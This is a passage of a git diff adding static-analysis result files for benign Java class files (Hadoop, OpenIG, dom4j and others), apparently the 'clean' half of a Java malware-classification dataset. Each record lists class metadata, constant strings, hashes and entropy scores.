*(typeInfos[_rio_i]->getTypeID()));\\n", "_rio_a.endRecord(*this, _rio_tag);\\n", "bool ", "::operator< (const ", "& peer_) const {\\n", "return (1\\n", "&& (", " < peer_.", ")\\n", ");\\n", "::operator== (const ", " == peer_.", "const ::std::string&", "::type() const {\\n", "static const ::std::string type_(\"", "return type_;\\n", "::signature() const {\\n", "static const ::std::string sig_(\"", "return sig_;\\n"], "JAVA String Analysis": {"combined strings entropy": 4.987174217894729, "obfuscated_data": {"base64": {"&& (": "static void setTypeFilter(const ::hadoop::RecordTypeInfo& rti);\\n", "if (": "static void setTypeFilter(const ::hadoop::RecordTypeInfo& rti);\\n"}, "substring_brute_force": {"_rio_": {"for (unsigned int _rio_j=0; _rio_jgetFieldTypeInfos()_size(); _rio_j++) {\n": "for (unsigned int j=0; jgetFieldTypeInfos().size(); j++) {\\n", "p_rio_rtiFilterFields[_rio_i] = _rio_j+1;\n": "prtiFilterFields[i] = j+1;\\n", "::hadoop::Utils::skip(_rio_a, typeInfos[_rio_i]->getFieldID()->c_str(), *(typeInfos[_rio_i]->getTypeID()));\n": "::hadoop::Utils::skip(a, typeInfos[i]->getFieldID()->c_str(), *(typeInfos[i]->getTypeID()));\\n", "for (unsigned int _rio_i=0; _rio_igetFieldTypeInfos()_size(); _rio_i++) {\n": "for (unsigned int i=0; igetFieldTypeInfos().size(); i++) {\\n", "if (*(p_rio_rtiFilter->getFieldTypeInfos()[_rio_i]) == *(p_rio_recTypeInfo->getFieldTypeInfos()[_rio_j])) {\n": "if (*(prtiFilter->getFieldTypeInfos()[i]) == *(precTypeInfo->getFieldTypeInfos()[j])) {\\n"}, "::": {"const std::vector< ::hadoop::FieldTypeInfo* >& typeInfos = p_rio_rtiFilter->getFieldTypeInfos();\n": "const stdvector< hadoopFieldTypeInfo* >& typeInfos = p_rio_rtiFilter->getFieldTypeInfos();\\n", "::deserializeWithoutFilter(::hadoop::IArchive& ": "deserializeWithoutFilter(hadoopIArchive& ", "::hadoop::Utils::skip(_rio_a, typeInfos[_rio_i]->getFieldID()->c_str(), *(typeInfos[_rio_i]->getTypeID()));\n": "hadoopUtilsskip(_rio_a, typeInfos[_rio_i]->getFieldID()->c_str(), *(typeInfos[_rio_i]->getTypeID()));\\n", "::deserialize(::hadoop::IArchive& ": "deserialize(hadoopIArchive& ", "::serialize(::hadoop::OArchive& ": "serialize(hadoopOArchive& ", "::hadoop::RecordTypeInfo* p = new ::hadoop::RecordTypeInfo(\"": "hadoopRecordTypeInfo* p = new hadoopRecordTypeInfo(\""}}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "148ff49bf95d57876a50437f58e8f7c7306b5e6f", "file_name": "java_clean/3e5f765b67d3da535c091be35560e5b3fa59a16a3a2daa9fd35c7cf3e6947d83", "_id": "c46c5909-ebba-43c2-a589-6d356c50fb61", "score": 0, "entropy": 6.091156521090415, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 12310, "ssdeep": "384:zzZFmepyADF1FgFzF8Je6FIF1if0oO+a1p8syisWAAx/NheMOeFkA7PZB5ixW:zdFmepyADF1FgFzF8Je6FIF1iMoha1pV", "sha256": "3e5f765b67d3da535c091be35560e5b3fa59a16a3a2daa9fd35c7cf3e6947d83", "md5": "383f068f659d3ace67172c32209112cf", "parent_sha256": "3e5f765b67d3da535c091be35560e5b3fa59a16a3a2daa9fd35c7cf3e6947d83"}} \ No newline at end of file diff --git a/java_classification/data/clean/3e9b5c6b1a95132f980c42903c23d1ba87021bd10eb1fe92e890ca4a7102a721.results b/java_classification/data/clean/3e9b5c6b1a95132f980c42903c23d1ba87021bd10eb1fe92e890ca4a7102a721.results new file mode 100755 index 0000000..846850c --- /dev/null +++ b/java_classification/data/clean/3e9b5c6b1a95132f980c42903c23d1ba87021bd10eb1fe92e890ca4a7102a721.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImportDialog.java", "class_name": "hu/openig/editors/ImportDialog", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "buildMap", "doOk", "doCancel", "parseOriginalPlanet", "setLabels"], "minor_version": 0, "const_pool_count": 548}}, "_id": "220d8737-4315-4fea-b82d-d39fd99d8da5", "verbose": {"java": {"signatures": ["Ljava/util/List;", "Ljava/util/List;", "Ljavax/swing/JComboBox;", "Ljavax/swing/JComboBox;"], "constant strings": ["Import a map or planet settings", "desert", "frozen", "cratered", "rocky", "liquid", "earth", "neptoplasm", "-Don\\'t import any-", " ", "Original map:", "Shift X:", "Shift Y:", "Original planet:", "-1", "Replace current surface", "Replace current buildings", "Import", "Cancel", " [", " (", "): ", "-", "]", "Replace surface along with the buildings", "map_", "colony/map_", "campaign/main/planets_old", "planet", "id", "type", "location-x", "location-y", "variant", "race", "buildings", "building", "x", "y", "mapeditor.import_title", "mapeditor.import_import", "mapeditor.cancel", "mapeditor.import_replace_surface", "mapeditor.import_replace_buildings", "mapeditor.import_replace_both", "mapeditor.import_original_map", "mapeditor.import_shift_x", "mapeditor.import_shift_y", "mapeditor.import_original_planet", "mapeditor.import_nothing"], "JAVA String Analysis": {"combined strings entropy": 4.525845250293022, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "building"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c75d732fa6a76235055ec8e3975702d10f439df7", "file_name": "java_clean/3e9b5c6b1a95132f980c42903c23d1ba87021bd10eb1fe92e890ca4a7102a721", "_id": "220d8737-4315-4fea-b82d-d39fd99d8da5", "score": 0, "entropy": 6.025606780115163, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 10242, "ssdeep": "192:57dcrYibcNV8gl5NQ3QhIVUVzUI8WJkKI86mrl:568iAsgVQ3QWVmzx84Frl", "sha256": "3e9b5c6b1a95132f980c42903c23d1ba87021bd10eb1fe92e890ca4a7102a721", "md5": "61e16b4b83cfa204dca0ddcc7d2a0f27", "parent_sha256": "3e9b5c6b1a95132f980c42903c23d1ba87021bd10eb1fe92e890ca4a7102a721"}} \ No newline at end of file diff --git a/java_classification/data/clean/3ee88d003653b178db24ce609483cdc5edd6e7e76754e9fd9faf8f681c4e84e7.results b/java_classification/data/clean/3ee88d003653b178db24ce609483cdc5edd6e7e76754e9fd9faf8f681c4e84e7.results new file mode 100755 index 0000000..95a1ca3 --- /dev/null +++ b/java_classification/data/clean/3ee88d003653b178db24ce609483cdc5edd6e7e76754e9fd9faf8f681c4e84e7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ColonizationPlanner.java", "class_name": "hu/openig/mechanics/ColonizationPlanner", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "plan", "checkEnemyExpansion", "conquerMorePlanets", "planConquest", "checkColonizersReachedPlanet", "findColonizablePlanets", "assignFleetsToColonization", "findMilitarySpaceport", "buildMilitarySpaceport", "deployInventoryColonyShip"], "minor_version": 0, "const_pool_count": 405}}, "_id": "553bbed4-1d4a-486c-8725-dd0f2f3df118", "verbose": {"java": {"signatures": ["Lhu/openig/core/Pred1;", "()Ljava/util/List;", "(Ljava/util/List;)Z", "()Lhu/openig/core/Pair;"], "constant strings": ["ColonyShip", "MilitarySpaceport"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8fca116cf1b168d611aebd2bdd209e559d9b2cad", "file_name": "java_clean/3ee88d003653b178db24ce609483cdc5edd6e7e76754e9fd9faf8f681c4e84e7", "_id": "553bbed4-1d4a-486c-8725-dd0f2f3df118", "score": 0, "entropy": 5.705004824749423, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 8894, "ssdeep": "192:Zlue8msuhkckupj/io7CxPmbLF/42QAN53C/y7:ZMe3mbouPmd/JN9", "sha256": "3ee88d003653b178db24ce609483cdc5edd6e7e76754e9fd9faf8f681c4e84e7", "md5": "69e3a53a60e4beb4fa2d25485d77dd70", "parent_sha256": "3ee88d003653b178db24ce609483cdc5edd6e7e76754e9fd9faf8f681c4e84e7"}} \ No newline at end of file diff --git a/java_classification/data/clean/3ee8959966b405558517f79d24524711ffe01c2659aec8b9e7173d452a4e0715.results b/java_classification/data/clean/3ee8959966b405558517f79d24524711ffe01c2659aec8b9e7173d452a4e0715.results new file mode 100755 index 0000000..8f63048 --- /dev/null +++ b/java_classification/data/clean/3ee8959966b405558517f79d24524711ffe01c2659aec8b9e7173d452a4e0715.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "WriterOutputStream.java", "class_name": "org/mortbay/util/WriterOutputStream", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "close", "flush", "write", "write", "write"], "minor_version": 0, "const_pool_count": 68}}, "_id": "148f99c5-71f6-41c9-aa57-5b456187a3e3", "metadata": {"mimetype": "application/x-java-applet", "sha1": "5ddb5d5bde07a5ab761581438ac313d584932097", "file_name": "java_clean/3ee8959966b405558517f79d24524711ffe01c2659aec8b9e7173d452a4e0715", "_id": "148f99c5-71f6-41c9-aa57-5b456187a3e3", "score": 0, "entropy": 5.007093025573154, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1547, "ssdeep": "24:3aHN9P62FuljEfIVP6Y8pvcfu2yPQn8mGOnQNUTs2ZI:3A62Ely8iY8pv2u2xn8ZOnQNULZI", "sha256": "3ee8959966b405558517f79d24524711ffe01c2659aec8b9e7173d452a4e0715", "md5": "f2785449e1e554c420178c2a349e258a", "parent_sha256": "3ee8959966b405558517f79d24524711ffe01c2659aec8b9e7173d452a4e0715"}} \ No newline at end of file diff --git a/java_classification/data/clean/3f0bbe418393fd02c5661b333aae8e3600db75aaf211cb079379abb2410e6dc0.results b/java_classification/data/clean/3f0bbe418393fd02c5661b333aae8e3600db75aaf211cb079379abb2410e6dc0.results new file mode 100755 index 0000000..592434b --- /dev/null +++ b/java_classification/data/clean/3f0bbe418393fd02c5661b333aae8e3600db75aaf211cb079379abb2410e6dc0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Multimaps$TransformedEntriesListMultimap$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/base/Function"], "sourcefile": "Multimaps.java", "method_names": ["", "apply"], "minor_version": 0, "const_pool_count": 60}}, "_id": "c7acfa08-600e-42f5-9384-d5c3ac0bf163", "verbose": {"java": {"signatures": ["(TV1;)TV2;", "Ljava/lang/Object;Lcom/google/common/base/Function;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2fc44dcd56216faac0f74bb33f019a6cfdaf042b", "file_name": "java_clean/3f0bbe418393fd02c5661b333aae8e3600db75aaf211cb079379abb2410e6dc0", "_id": "c7acfa08-600e-42f5-9384-d5c3ac0bf163", "score": 0, "entropy": 5.259649018006506, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1627, "ssdeep": "24:vHvdIesToxulj0wvF9xJHtuMuS+BCy7ymyX/J7ETW:PlltQljTJHtuMuS5LJ7X", "sha256": "3f0bbe418393fd02c5661b333aae8e3600db75aaf211cb079379abb2410e6dc0", "md5": "0cbb8116c3777f854cc69f8ce7776178", "parent_sha256": "3f0bbe418393fd02c5661b333aae8e3600db75aaf211cb079379abb2410e6dc0"}} \ No newline at end of file diff --git a/java_classification/data/clean/3f6b5775fade7e56a280a32cacd3e100d13c3c5d4082cdd71c449bcdaf1f5bd0.results b/java_classification/data/clean/3f6b5775fade7e56a280a32cacd3e100d13c3c5d4082cdd71c449bcdaf1f5bd0.results new file mode 100755 index 0000000..34ee23f --- /dev/null +++ b/java_classification/data/clean/3f6b5775fade7e56a280a32cacd3e100d13c3c5d4082cdd71c449bcdaf1f5bd0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ContextNotEmptyException.java", "class_name": "javax/naming/ContextNotEmptyException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", ""], "minor_version": 3, "const_pool_count": 21}}, "_id": "9e3c51e1-c38b-46ab-bdea-787fcbfa6f3b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b038f77d54256eb321bcf20fd11771a6edbd39c6", "file_name": "java_clean/3f6b5775fade7e56a280a32cacd3e100d13c3c5d4082cdd71c449bcdaf1f5bd0", "_id": "9e3c51e1-c38b-46ab-bdea-787fcbfa6f3b", "score": 0, "entropy": 5.0532865095080135, "libmagic": "compiled Java class data, version 45.3", "file_size": 397, "ssdeep": "12:cWs4MJy1vMH0lwXoLH7+zOKmYpp5K8xm69:cWsTy1RlwYj9snJ", "sha256": "3f6b5775fade7e56a280a32cacd3e100d13c3c5d4082cdd71c449bcdaf1f5bd0", "md5": "2d8b5f193ac37740f4b34e3b981c20b5", "parent_sha256": "3f6b5775fade7e56a280a32cacd3e100d13c3c5d4082cdd71c449bcdaf1f5bd0"}} \ No newline at end of file diff --git a/java_classification/data/clean/3f6d5525f59897d9cc9480df1a8b9b2a173294f514c5195afe7152a0a78457f1.results b/java_classification/data/clean/3f6d5525f59897d9cc9480df1a8b9b2a173294f514c5195afe7152a0a78457f1.results new file mode 100755 index 0000000..0706c8b --- /dev/null +++ b/java_classification/data/clean/3f6d5525f59897d9cc9480df1a8b9b2a173294f514c5195afe7152a0a78457f1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "com/codeminders/hamake/Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "main", ""], "minor_version": 0, "const_pool_count": 358}}, "_id": "f822c3c8-e5dc-42ab-bad4-766434604287", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.528885374104588, "obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "file"}, "substring_brute_force": {"file": {"makefile location, hamakefile_xml on local filesystem if not specified": "make location, hamake.xml on local system if not specified"}}}}, "constant strings": ["V", "version", "display version and exit", "v", "verbose", "verbose mode", "n", "dry-run", "dry run mode", "d", "nodeps", "no deps mode", "j", "jobs", "number of job threads to spawn", "f", "file", "makefile location, hamakefile.xml on local filesystem if not specified", "w", "workdir", "path to data, default is user home dir", "hamake", "HAMake version ", "hamakefile.xml", "Using Hadoop ", "Working dir: ", "Reading hamake-file ", "Cannot load makefile ", ": ", "Cannot initialize XML parser: ", "Invalid makefile content: ", "Error in makefile: ", "Cannot execute Pig task: "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "88fea0fbee2c673ad9a4ddcf6c2b3a76d4c2e387", "file_name": "java_clean/3f6d5525f59897d9cc9480df1a8b9b2a173294f514c5195afe7152a0a78457f1", "_id": "f822c3c8-e5dc-42ab-bad4-766434604287", "score": 0, "entropy": 5.970126745071497, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 7155, "ssdeep": "192:UpExlyJ928gntHfpNZWXR7ZXZDBYIzGMKJ:U6x09YnFp/WXR7ZXZVzE", "sha256": "3f6d5525f59897d9cc9480df1a8b9b2a173294f514c5195afe7152a0a78457f1", "md5": "02a492997ca7f096586168a55e440059", "parent_sha256": "3f6d5525f59897d9cc9480df1a8b9b2a173294f514c5195afe7152a0a78457f1"}} \ No newline at end of file diff --git a/java_classification/data/clean/3fa773e3d7edd980bad1b05a2f0ce2ba820bc20bcc6cccea4d9a88ccca14d249.results b/java_classification/data/clean/3fa773e3d7edd980bad1b05a2f0ce2ba820bc20bcc6cccea4d9a88ccca14d249.results new file mode 100755 index 0000000..ec56a15 --- /dev/null +++ b/java_classification/data/clean/3fa773e3d7edd980bad1b05a2f0ce2ba820bc20bcc6cccea4d9a88ccca14d249.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/utils/U$3", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "U.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 44}}, "_id": "bd4174d1-e664-4f2f-a2bf-06aa11150e45", "metadata": {"mimetype": "application/x-java-applet", "sha1": "504c85959daa91784cbeaacf83d828bdaec3194d", "file_name": "java_clean/3fa773e3d7edd980bad1b05a2f0ce2ba820bc20bcc6cccea4d9a88ccca14d249", "_id": "bd4174d1-e664-4f2f-a2bf-06aa11150e45", "score": 0, "entropy": 5.16079917082854, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 815, "ssdeep": "12:Z2RAoagYuZ9lPsoiyBkGMNkdmyiUO8V3L6Em+IdxEGYqWOxHRtglPl:4KoagYU9ljimLMNuSh8V3zmR5WOxx2ld", "sha256": "3fa773e3d7edd980bad1b05a2f0ce2ba820bc20bcc6cccea4d9a88ccca14d249", "md5": "2044bba14443f863387dfc1318fdd1e7", "parent_sha256": "3fa773e3d7edd980bad1b05a2f0ce2ba820bc20bcc6cccea4d9a88ccca14d249"}} \ No newline at end of file diff --git a/java_classification/data/clean/3faa931292fe01e3eb23c89fc8a305b20e8a9a49a0b5a677c3cf1d57bb7735aa.results b/java_classification/data/clean/3faa931292fe01e3eb23c89fc8a305b20e8a9a49a0b5a677c3cf1d57bb7735aa.results new file mode 100755 index 0000000..cf86a9e --- /dev/null +++ b/java_classification/data/clean/3faa931292fe01e3eb23c89fc8a305b20e8a9a49a0b5a677c3cf1d57bb7735aa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/rowio/RowInputInterface", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["getPos", "getSize", "readType", "readString", "readShortData", "readIntData", "readLongData", "readData", "resetRow", "getBuffer"], "minor_version": 0, "const_pool_count": 27}}, "_id": "5ae1f947-95e0-4638-b36a-bfab9d1e5a15", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ea6186e504395cfd273200185dfe41fa9d3a9435", "file_name": "java_clean/3faa931292fe01e3eb23c89fc8a305b20e8a9a49a0b5a677c3cf1d57bb7735aa", "_id": "5ae1f947-95e0-4638-b36a-bfab9d1e5a15", "score": 0, "entropy": 4.94498348226532, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 510, "ssdeep": "12:aGx2vTHDlMO3YangS3vEQm1sTSRtEEfe0qa:g7HZJhvEzsuHEFHa", "sha256": "3faa931292fe01e3eb23c89fc8a305b20e8a9a49a0b5a677c3cf1d57bb7735aa", "md5": "803b10f10af12325895e52f184cc438b", "parent_sha256": "3faa931292fe01e3eb23c89fc8a305b20e8a9a49a0b5a677c3cf1d57bb7735aa"}} \ No newline at end of file diff --git a/java_classification/data/clean/40b2777dd6ba8987df02dc15b6ffb0d3319e0f3ee91a53eec39540f4f8304581.results b/java_classification/data/clean/40b2777dd6ba8987df02dc15b6ffb0d3319e0f3ee91a53eec39540f4f8304581.results new file mode 100755 index 0000000..1aad50f --- /dev/null +++ b/java_classification/data/clean/40b2777dd6ba8987df02dc15b6ffb0d3319e0f3ee91a53eec39540f4f8304581.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/PlanetScreen$34", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Func1"], "sourcefile": "PlanetScreen.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 57}}, "_id": "d3bfe855-8c96-40bc-b795-bd5f16a58cf2", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Func1;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "63d375c05ba5466a0b05733e181d589a1e7af50f", "file_name": "java_clean/40b2777dd6ba8987df02dc15b6ffb0d3319e0f3ee91a53eec39540f4f8304581", "_id": "d3bfe855-8c96-40bc-b795-bd5f16a58cf2", "score": 0, "entropy": 5.204877931398945, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1137, "ssdeep": "24:Rg6f+PqoDU9ljq+V/qqH5s+ILfUYyR+P8URnIFGEiy:RZ2CyU9ltyya+RY05onGGEiy", "sha256": "40b2777dd6ba8987df02dc15b6ffb0d3319e0f3ee91a53eec39540f4f8304581", "md5": "a9faedb688544144b59c350d79c10869", "parent_sha256": "40b2777dd6ba8987df02dc15b6ffb0d3319e0f3ee91a53eec39540f4f8304581"}} \ No newline at end of file diff --git a/java_classification/data/clean/4254e3a198fc45b5b6734851dac21f2f7632ab094971c4536880af62acc4ac54.results b/java_classification/data/clean/4254e3a198fc45b5b6734851dac21f2f7632ab094971c4536880af62acc4ac54.results new file mode 100755 index 0000000..71f92ec --- /dev/null +++ b/java_classification/data/clean/4254e3a198fc45b5b6734851dac21f2f7632ab094971c4536880af62acc4ac54.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "javax/naming/ldap/Control", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["java/io/Serializable"], "sourcefile": "Control.java", "method_names": ["getEncodedValue", "getID", "isCritical"], "minor_version": 3, "const_pool_count": 23}}, "_id": "9bfc53f8-2ff2-4856-ba17-3d068009f179", "metadata": {"mimetype": "application/x-java-applet", "sha1": "870c96587b718eefa25f530857e0c47ef3774ae1", "file_name": "java_clean/4254e3a198fc45b5b6734851dac21f2f7632ab094971c4536880af62acc4ac54", "_id": "9bfc53f8-2ff2-4856-ba17-3d068009f179", "score": 0, "entropy": 5.081987208297135, "libmagic": "compiled Java class data, version 45.3", "file_size": 352, "ssdeep": "6:cE/UhNTXMO55kdQvtI9lIEgYA2GkEHvJXRAmAA/ORP6EILAEEzF8c2u8lXmyuukj:cZhNbMOX/vrlYAqCvHAO/OR4LT88cqRO", "sha256": "4254e3a198fc45b5b6734851dac21f2f7632ab094971c4536880af62acc4ac54", "md5": "fc1048d91136319e6b4f0c2281b99544", "parent_sha256": "4254e3a198fc45b5b6734851dac21f2f7632ab094971c4536880af62acc4ac54"}} \ No newline at end of file diff --git a/java_classification/data/clean/42b44c9c141e7b5f776f462b783b2101f4f7e30607c0fa80eae2ed66c1996731.results b/java_classification/data/clean/42b44c9c141e7b5f776f462b783b2101f4f7e30607c0fa80eae2ed66c1996731.results new file mode 100755 index 0000000..6e2457e --- /dev/null +++ b/java_classification/data/clean/42b44c9c141e7b5f776f462b783b2101f4f7e30607c0fa80eae2ed66c1996731.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DecoderException.java", "class_name": "org/apache/commons/codec/DecoderException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": [""], "minor_version": 3, "const_pool_count": 18}}, "_id": "ba0a33e6-f490-42c5-8d74-eb1a6c2e95bb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ab214fcaf43d516ee72cee0d2c6e3824c25056d0", "file_name": "java_clean/42b44c9c141e7b5f776f462b783b2101f4f7e30607c0fa80eae2ed66c1996731", "_id": "ba0a33e6-f490-42c5-8d74-eb1a6c2e95bb", "score": 0, "entropy": 5.005142920652091, "libmagic": "compiled Java class data, version 45.3", "file_size": 391, "ssdeep": "6:cLqp3foXMUQpAEgPsoq0ATQmNCEoXMOVwQR1TQm2TTVbJA/9caPFwr:cexSMXulPso7mo/MOaQQm0TVKlcaU", "sha256": "42b44c9c141e7b5f776f462b783b2101f4f7e30607c0fa80eae2ed66c1996731", "md5": "d1cf42a6219720172951b8754d83b806", "parent_sha256": "42b44c9c141e7b5f776f462b783b2101f4f7e30607c0fa80eae2ed66c1996731"}} \ No newline at end of file diff --git a/java_classification/data/clean/42e52f9974443738ddca6a15357f509d16a6f685898a9932d7ee75104a5a49fc.results b/java_classification/data/clean/42e52f9974443738ddca6a15357f509d16a6f685898a9932d7ee75104a5a49fc.results new file mode 100755 index 0000000..8326ab6 --- /dev/null +++ b/java_classification/data/clean/42e52f9974443738ddca6a15357f509d16a6f685898a9932d7ee75104a5a49fc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/io/SAXWriter", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/xml/sax/XMLReader"], "sourcefile": "SAXWriter.java", "method_names": ["", "", "", "", "write", "write", "write", "writeOpen", "writeClose", "write", "write", "write", "write", "write", "isDeclareNamespaceAttributes", "setDeclareNamespaceAttributes", "getContentHandler", "setContentHandler", "getDTDHandler", "setDTDHandler", "getErrorHandler", "setErrorHandler", "getEntityResolver", "setEntityResolver", "getLexicalHandler", "setLexicalHandler", "setXMLReader", "getFeature", "setFeature", "setProperty", "getProperty", "parse", "parse", "writeContent", "documentLocator", "entityResolver", "dtdHandler", "startDocument", "endDocument", "write", "startPrefixMapping", "endPrefixMapping", "startElement", "endElement", "createAttributes", "addNamespaceAttribute", "isIgnoreableNamespace", "checkForNullHandlers", ""], "minor_version": 0, "const_pool_count": 580}}, "_id": "929e9152-52c8-4199-8e64-7d664aacca33", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.806304330127757}, "constant strings": ["http://xml.org/sax/features/namespace-prefixes", "Invalid node type: ", "Namespace feature is always supported in dom4j", "This XMLReader can only accept InputSource objects", "Invalid Node in DOM4J content: ", " of type: ", "Could not resolve publicID: ", " systemID: ", "CDATA", "xmlns", "xmlns:", "", "http://xml.org/sax/properties/lexical-handler", "http://xml.org/sax/handlers/LexicalHandler", "http://xml.org/sax/features/namespaces"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5575213a004b3256829f6fd56b0978a040a1a6c2", "file_name": "java_clean/42e52f9974443738ddca6a15357f509d16a6f685898a9932d7ee75104a5a49fc", "_id": "929e9152-52c8-4199-8e64-7d664aacca33", "score": 0, "entropy": 5.70729413821454, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 14724, "ssdeep": "192:nxJ+IlrJtMvasDR4adEnrllROHQ0At6SsjBbTJXUfFsv0MOdCVFmixe:nxjdVsn/26SsjBbKdXeFDxe", "sha256": "42e52f9974443738ddca6a15357f509d16a6f685898a9932d7ee75104a5a49fc", "md5": "c93d53a348e166ea6c5aa2c90c9d299a", "parent_sha256": "42e52f9974443738ddca6a15357f509d16a6f685898a9932d7ee75104a5a49fc"}} \ No newline at end of file diff --git a/java_classification/data/clean/42e90261a8896a22b778e971e7e9e6fea1d13e6fd3fa97afcc3ba6fa3ffc7da7.results b/java_classification/data/clean/42e90261a8896a22b778e971e7e9e6fea1d13e6fd3fa97afcc3ba6fa3ffc7da7.results new file mode 100755 index 0000000..ced3614 --- /dev/null +++ b/java_classification/data/clean/42e90261a8896a22b778e971e7e9e6fea1d13e6fd3fa97afcc3ba6fa3ffc7da7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/AutoBuilder$17", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Func1"], "sourcefile": "AutoBuilder.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 60}}, "_id": "93834bb9-3b30-4b29-863a-72258ee0ad19", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Func1;"], "constant strings": ["Economic"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "Economic"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "956a6a7c10cf9b352783152ea24daecf28e48c55", "file_name": "java_clean/42e90261a8896a22b778e971e7e9e6fea1d13e6fd3fa97afcc3ba6fa3ffc7da7", "_id": "93834bb9-3b30-4b29-863a-72258ee0ad19", "score": 0, "entropy": 5.250564139244513, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1232, "ssdeep": "24:JBf+NyS5ljIOPAnQBla7/5suONR+9URgJmzs5fpsU2lB3:JB2NyGl8OPAn4lazapnKoymzc32X", "sha256": "42e90261a8896a22b778e971e7e9e6fea1d13e6fd3fa97afcc3ba6fa3ffc7da7", "md5": "67a2a3610d775786c48b220be09f7166", "parent_sha256": "42e90261a8896a22b778e971e7e9e6fea1d13e6fd3fa97afcc3ba6fa3ffc7da7"}} \ No newline at end of file diff --git a/java_classification/data/clean/42eab5474add995d190f75452de6c40ba5287e1e7cc4c5eda6f01f39a252e5c7.results b/java_classification/data/clean/42eab5474add995d190f75452de6c40ba5287e1e7cc4c5eda6f01f39a252e5c7.results new file mode 100755 index 0000000..966146a --- /dev/null +++ b/java_classification/data/clean/42eab5474add995d190f75452de6c40ba5287e1e7cc4c5eda6f01f39a252e5c7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DotMRPrinter.java", "class_name": "org/apache/pig/backend/hadoop/executionengine/mapReduceLayer/plans/DotMRPrinter", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "setVerbose", "makeDumper", "getName", "getNestedPlans", "getAttributes", "getAttributes", "getName", "makeDumper", "getNestedPlans", ""], "minor_version": 0, "const_pool_count": 182}}, "_id": "bfcb6432-ce70-413f-b930-bc97cfa9dac8", "verbose": {"java": {"signatures": ["(Lorg/apache/pig/backend/hadoop/executionengine/mapReduceLayer/plans/MROperPlan;Ljava/io/PrintStream;ZLjava/util/Set;Ljava/util/Set;Ljava/util/Set;)V", "(Lorg/apache/pig/backend/hadoop/executionengine/mapReduceLayer/MapReduceOper;)Ljava/util/Collection;", "Lorg/apache/pig/impl/plan/DotPlanDumper;"], "constant strings": ["Map", " - Combine", " - Reduce", " Parallelism: ", ", Global Sort: ", "label=\"", "\"", 